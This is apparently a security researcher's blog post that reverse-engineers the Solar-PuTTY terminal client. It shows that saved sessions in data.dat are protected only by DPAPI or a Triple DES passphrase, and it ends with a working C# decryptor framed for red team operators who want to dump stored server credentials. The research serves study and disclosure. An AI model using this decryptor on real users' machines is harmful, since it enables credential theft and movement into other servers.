## What is Solar-PuTTY? Solar-PuTTY is a standalone free terminal emulator and network file transfer tool based on the well-known PuTTY for Windows. ![](https://hackmd.io/_uploads/Hkgvq1D_h.png) You can download it here: [Solar-Putty](https://www.solarwinds.com/free-tools/solar-putty) I have the version: ![](https://hackmd.io/_uploads/BJWRgaWoh.png) I have been using solar-putty for a while now, below is a preview of how solar-putty actually looks like ![](https://hackmd.io/_uploads/S1c-n1w_h.png) Basically it can hold sessions of the servers that you have access to and you don't need to re-enter the passwords! Imagine you are a red team operator and you just got access to a user's computer in the network you are assessing, and the user uses Solar-PuTTY, in solar putty you have the feature that exports the sessions that can be reused in another device when imported. ![](https://hackmd.io/_uploads/SJi2kxwun.png) It asks for a password that will be used to protect the exported data, and then it'll export the data, Regardless of the export feature the sessions are actually saved to a file in the path : `C:\Users\tahaafarooq\AppData\Roaming\SolarWinds\FreeTools\Solar-PuTTY\data.dat` ## Analyzing the data.dat file Checking the content of the `data.dat` it's actually base64: ![](https://hackmd.io/_uploads/ryA7Gfv_h.png) Decoding the base64 would provide with some gibberish contents: ![](https://hackmd.io/_uploads/BJ4KzGPO3.png) There was nothing important I found from this, So first to understand how this file is made and how it contains the sessions with the credentials to each host I need to reverse engineer the software Solar-PuTTY. ## Reversing the software It's a PE32 executable, for Microsoft Windows: ``` ┌──(kali㉿kali)-[~/Desktop/solar-putty] └─$ file Solar-PuTTY.exe Solar-PuTTY.exe: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive, 5 sections ``` But more details, it's also a Nullsoft self extracting Archive!, which makes this even more interesting! I proceed by extracting the files inside **Solar-PuTTY.exe**: ```shell 7z e Solar-Putty.exe ``` ![](https://hackmd.io/_uploads/B1lt8Tboh.png) After extracting all of the files, it's time I review what's juicy inside these files ![](https://hackmd.io/_uploads/ryioLTZi2.png) In the `Solar-PuTTY.exe.config` there is some interesting information: ![](https://hackmd.io/_uploads/S14C8pWj2.png) But notice that it also pulled up Solar-PuTTY.exe from the archive, I try to see if it's the same compared to the first file that I replaced with the name "Solar-Test.exe" **Solar-PuTTY.exe** ```shell ┌──(kali㉿kali)-[~/Desktop/solar-putty] └─$ file Solar-PuTTY.exe Solar-PuTTY.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections ``` **Solar-Test.exe** ```shell ┌──(kali㉿kali)-[~/Desktop/solar-putty] └─$ file Solar-Test.exe Solar-Test.exe: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive, 5 sections ``` It's a **.NET Assembly** Windows executables, which makes it even fun for me :) Let's move all these extracted files to my windows lab and I can work up smoothly on reversing the .NET codes for reviewing ![](https://hackmd.io/_uploads/H1ZVuaWih.png) Now that I have them in my windows, I'll proceed by running **dnSpy.exe** which is a very nice tool for .NET Debugging and Assembly Editing, and i'll upload all the extracted files in there for analysis ![](https://hackmd.io/_uploads/SkxAdaWs3.png) That's how it should look after uploading the files in **dnSpy.exe**. Taking a closer look on **Solar-PuTTY.exe** it has some interesting classes: ![](https://hackmd.io/_uploads/SJHXtpZsn.png) I start reviewing each one of these classes looking for my main goal, and that's "how the passwords are exported and how it decodes them when imported" In the class **SolarWindsSSH.ViewModel** we have a clear view of what every button of the solar-putty application does when opened. And from that I was able to find the function that exports the credentials files and the function that imports the credentials files. ![](https://hackmd.io/_uploads/HkLrhTZoh.png) Above are the code of the function **AutoImportSessions()**, this function generally auto imports the sessions files that holds the credentials and host names of where the user logs in to. Generally the path of the sessions file **data.dat** is `C:\Users\<username>\AppData\Roaming\SolarWinds\FreeTools\Solar-PuTTY\data.dat` ##### Step 1 First it defines the path of the session file, and checks whether the file exists or not, as well as it's Registry. ##### Step 2 ```csharp this.ExportedDirectoryPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "SolarWinds\\FreeTools\\Solar-PuTTY\\"); string text = Path.Combine(this.ExportedDirectoryPath, "data.dat"); ``` The codes above actually create something like this as an output : `C:\Users\tahaafarooq\AppData\Roaming\SolarWinds\FreeTools\Solar-PuTTY\data.dat` ```csharp= if (!RegistryHelper.GetPuttyImported() || !File.Exists(text)){ MainWindowViewModel.log.Info("Enumerating putty registry keys."); foreach (string text2 in RegistryHelper.GetPuttySessions()){ MainWindowViewModel.log.Info("Starting import " + text2); PuttyRegistry puttyRegistry = RegistryHelper.LoadSession(text2); if (!string.IsNullOrEmpty(puttyRegistry.HostName)){ Credentials credentials = new Credentials(puttyRegistry); try{ Session session = new Session(puttyRegistry, credentials, text2); this.SetNoDuplicatedName(session); base.Sessions.Add(session); this.SetNoDuplicatedName(credentials); base.Credentials.Add(credentials); } catch (Exception message) { MainWindowViewModel.log.Debug(message); } } } RegistryHelper.SetPuttyImported(); if (RegistryHelper.GetPuttySessions().Any<string>()){ MainWindowViewModel.log.Info("Staring export."); this.DoExport(text, null); } } ``` Now before we start getting our minds blown out with the registry part, here is what the function does: ```csharp= public static bool GetPuttyImported(){ bool result; using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\SolarWinds\\Solar-PuTTY", false)){ result = (registryKey != null && Convert.ToBoolean(registryKey.GetValue("puttyimport"))); } return result; } ``` This function checks whether the registry key and value is present and set to true. Now back to our beautiful part of the function that we were still reviewing, the if condition checks if the registry key and value is not present and set to true and if that condition fails then it also has another OR condition where it checks whether the data.dat file isn't present in the path defined from the code. Then it calls a loop which enumerate for putty registry keys, let's have a closer look at the function **RegistryHelper.GetPuttySessions()** ```csharp= public static IEnumerable<string> GetPuttySessions(){ IEnumerable<string> enumerable; using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\SimonTatham\\PuTTY\\Sessions", false)){ enumerable = ((registryKey != null) ? registryKey.GetSubKeyNames() : null); enumerable = (enumerable ?? Enumerable.Empty<string>()); } return enumerable; } ``` It clearly shows that the type of data returned is enumerable. What this function does, it enumerates through the registry key mentioned above `Software\\SimonTatham\\PuTTY\\Sessions` to look for subkeynames and their values. Once found, it imports it and loads a session, and creates a credential file for it. But then after the **foreach** condition, there is something interesting mentioned where it sets the registry key value to true with the function **RegistryHelper.SetPuttyImported()** and then it checks if there are any putty sessions available, then exports then with the function **DoExport()** And right after the **if** condition we have another function called **DoImport()** ![](https://hackmd.io/_uploads/HymDmC-jn.png) ### Understanding The DoExport() Function Below is the code of the function ![](https://hackmd.io/_uploads/B1zG4CZs3.png) ```csharp= public void DoExport(string fileName, string password = null){ try{ object value = this.GenerateExportList(); string directoryName = Path.GetDirectoryName(fileName); if (!Directory.Exists(directoryName)){ MainWindowViewModel.log.Info("Createing nonexistent directory " + directoryName); Directory.CreateDirectory(directoryName); } string plainText = JsonConvert.SerializeObject(value); string value2 = (password == null) ? Crypto.Encrypt(plainText) : Crypto.Encrypt(password, plainText); using (FileStream fileStream = new FileStream(fileName, FileMode.Create)){ using (StreamWriter streamWriter = new StreamWriter(fileStream)){ streamWriter.Write(value2); } } } catch (Exception arg) { MainWindowViewModel.log.Error(string.Format("Unable to export, ex: {0}", arg)); } } ``` Let's break down how this code works, so first this function takes two arguments and these are **fileName** and **password** which by default is set to null. It first starts with a try condition where it sets the variable value with the value from the function **GeneralExportList()** which is a function that carries the format of how the export shall be in plain text as shown below is the source code of the mentioned function: ![](https://hackmd.io/_uploads/BJF8HA-sh.png) Well it'll check your filename to output to and prompt a window where you can choose the path to save your exported credential to and if the directory doesn't exist in the path, it'll create it. Moving forward it will serialize the object into JSON format and that's the first part of exporting the session credentials files. ```csharp string plainText = JsonConvert.SerializeObject(value); ``` The second part is to check if there is a password provided, if there is none, it'll call a function known as **Crypto.Encrypt()** which shall take only one argument and that's the **plainText** variable, if the password is provided it shall call the encrypt function with two arguments the password and the plaintext: ```csharp string value2 = (password == null) ? Crypto.Encrypt(plainText) : Crypto.Encrypt(password, plainText); ``` The third and the last part, it'll basically just output the data into the filename specified by the user earlier! HOLD UP WAIT A MINUTE!, WE SAW SOMETHING INTERESTING RIGHT??? OH YEAH, Crypto.Encrypt() ### Understanding The Crypto.Encrypt() Function This function is found in the class **SolarWindsSSH.Utilities.Crypto.Encrypt()** ![](https://hackmd.io/_uploads/By7E5TZjn.png) Now I sh$t you not! 🤣 I was surprised to see how this Encrypt function works, must be the easiest piece of code to reverse and create the decryption logic: ![](https://hackmd.io/_uploads/Sk2JO0Zj2.png) ```csharp= public static string Encrypt(string plainText){ try{ return Convert.ToBase64String(ProtectedData.Protect(Encoding.Unicode.GetBytes(plainText), null, DataProtectionScope.CurrentUser)); } catch (Exception message) { Crypto.log.Error(message); } return string.Empty; } ``` That's it!!! 💀 Okay! Time to understand how this code works. Basically it encrypts the plainText using **Windows Data Protection API (DPAPI)** and then encodes the output in **base64** and returns it as the string. This is without the password argument, but what about the function that takes the password argument and the plaintext argument. Let's take a look at the code: ![](https://hackmd.io/_uploads/BJw8FAbin.png) ```csharp= public static string Encrypt(string passPhrase, string plainText){ byte[] array = Crypto.Generate192BitsOfRandomEntropy(); byte[] array2 = Crypto.Generate192BitsOfRandomEntropy(); byte[] bytes = Encoding.UTF8.GetBytes(plainText); string result; using (Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passPhrase, array, 1000)){ byte[] bytes2 = rfc2898DeriveBytes.GetBytes(24); using (TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider()){ tripleDESCryptoServiceProvider.Mode = CipherMode.CBC; tripleDESCryptoServiceProvider.Padding = PaddingMode.PKCS7; using (ICryptoTransform cryptoTransform = tripleDESCryptoServiceProvider.CreateEncryptor(bytes2, array2)){ using (MemoryStream memoryStream = new MemoryStream()){ using (CryptoStream cryptoStream = new CryptoStream(memoryStream, cryptoTransform, CryptoStreamMode.Write)){ cryptoStream.Write(bytes, 0, bytes.Length); cryptoStream.FlushFinalBlock(); byte[] inArray = array.Concat(array2).ToArray<byte>().Concat(memoryStream.ToArray()).ToArray<byte>(); memoryStream.Close(); cryptoStream.Close(); result = Convert.ToBase64String(inArray); } } } } } return result; } ``` To summarize how that code works, It takes the plaintext, and the passphrase where as it will use **Triple DES** encryption algorithm with the passphrase provided. It'll generate an IV and a Key which are 24 bytes using **PBKDF2** algorithm, then encode the output of the encrypted plaintext with **base64** Let's skip the import part it's pretty much straight forward , let's move to see how it decrypts the imported session credentials file. ### Understanding The Crypto.Decrypt() Function The decryption process without the password is pretty straight forward, with a few lines of codes we can decrypt any session credential file that isn't exported with a password: ![](https://hackmd.io/_uploads/SJYGnCbj3.png) ```csharp= public static string Decrypt(string cipher){ byte[] encryptedData = Convert.FromBase64String(cipher); try{ byte[] bytes = ProtectedData.Unprotect(encryptedData, null, DataProtectionScope.CurrentUser); return Encoding.Unicode.GetString(bytes); } catch (Exception message){ Crypto.log.Error(message); } return string.Empty; } ``` This code, decodes the **base64** string, then decrypts the output using **Windows Data Protection API (DPAPI)** and returns the decrypted data as unicode string. Now what if we got the password as an argument? ![](https://hackmd.io/_uploads/rJPfTRbs2.png) ```csharp= public static string Decrypt(string passPhrase, string cipherText) { byte[] array = Convert.FromBase64String(cipherText); byte[] salt = array.Take(24).ToArray<byte>(); byte[] rgbIV = array.Skip(24).Take(24).ToArray<byte>(); byte[] array2 = array.Skip(48).Take(array.Length - 48).ToArray<byte>(); string @string; using (Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passPhrase, salt, 1000)) { byte[] bytes = rfc2898DeriveBytes.GetBytes(24); using (TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider()) { tripleDESCryptoServiceProvider.Mode = CipherMode.CBC; tripleDESCryptoServiceProvider.Padding = PaddingMode.PKCS7; using (ICryptoTransform cryptoTransform = tripleDESCryptoServiceProvider.CreateDecryptor(bytes, rgbIV)) { using (MemoryStream memoryStream = new MemoryStream(array2)) { using (CryptoStream cryptoStream = new CryptoStream(memoryStream, cryptoTransform, CryptoStreamMode.Read)) { byte[] array3 = new byte[array2.Length]; int count = cryptoStream.Read(array3, 0, array3.Length); memoryStream.Close(); cryptoStream.Close(); @string = Encoding.UTF8.GetString(array3, 0, count); } } } } } return @string; } ``` First it decodes the session file from **base64** to the encrypted text, then the **salt** is the first 24 bytes from the output of the base64 decoded encrypted ciphertext, and the IV is the next 24 bytes from the output of the ciphertext after skipping the first 48 bytes. Then using the deriviation of 1000 iteration with the passphrase provided it'll generate the 24 bytes key using the **PBKDF2** algorithm, which will be used as a decryption key for the **Triple DES** using CBC mode it'll decrypt the cipher text with all the requirements generated for decryption and return plaintext as unicode string. ## Crafting The Decryptor There isn't really a need to craft any decryptor for this, but for the sake of learning! I MUST ! I'll be pushing the codes to my github but in the mean-time reproducing the decrypting part works as you can see below: ![](https://hackmd.io/_uploads/r123UkMoh.png) ```csharp= /** author : @tahaafarooq date : 29/07/2023 04:17 **/ using System.Security.Cryptography; using System.Text; class Program { static void Main() { Console.WriteLine("Enter Session File Path : "); string data_file = Console.ReadLine(); using(FileStream fs = new FileStream(data_file, FileMode.Open)) { using(StreamReader sr = new StreamReader(fs)) { string ct = sr.ReadToEnd(); try { byte[] decryptb64 = Convert.FromBase64String(ct); try { byte[] unicode = ProtectedData.Unprotect(decryptb64, null, DataProtectionScope.CurrentUser); string output = Encoding.Unicode.GetString(unicode); Console.WriteLine(output); } catch (Exception e) { Console.WriteLine(e.ToString()); } } catch (Exception e) { Console.WriteLine(e.ToString()); } } } } } ``` This decodes without the password, you can find the other that decodes with the password in my [Github Repo](https://github.com/tahaafarooq/Solar-Putty-4.0.0.47-reverse) ## CONTACTS - mailto:iam@tahaafarooq.dev - https://twitter.com/tahaafarooq --- <div style="width:100%;height:0;padding-bottom:85%;position:relative;"><iframe src="https://giphy.com/embed/XNQDgvHvDFnITnAAU5" width="100%" height="100%" style="position:absolute" frameBorder="0" class="giphy-embed" allowFullScreen></iframe></div>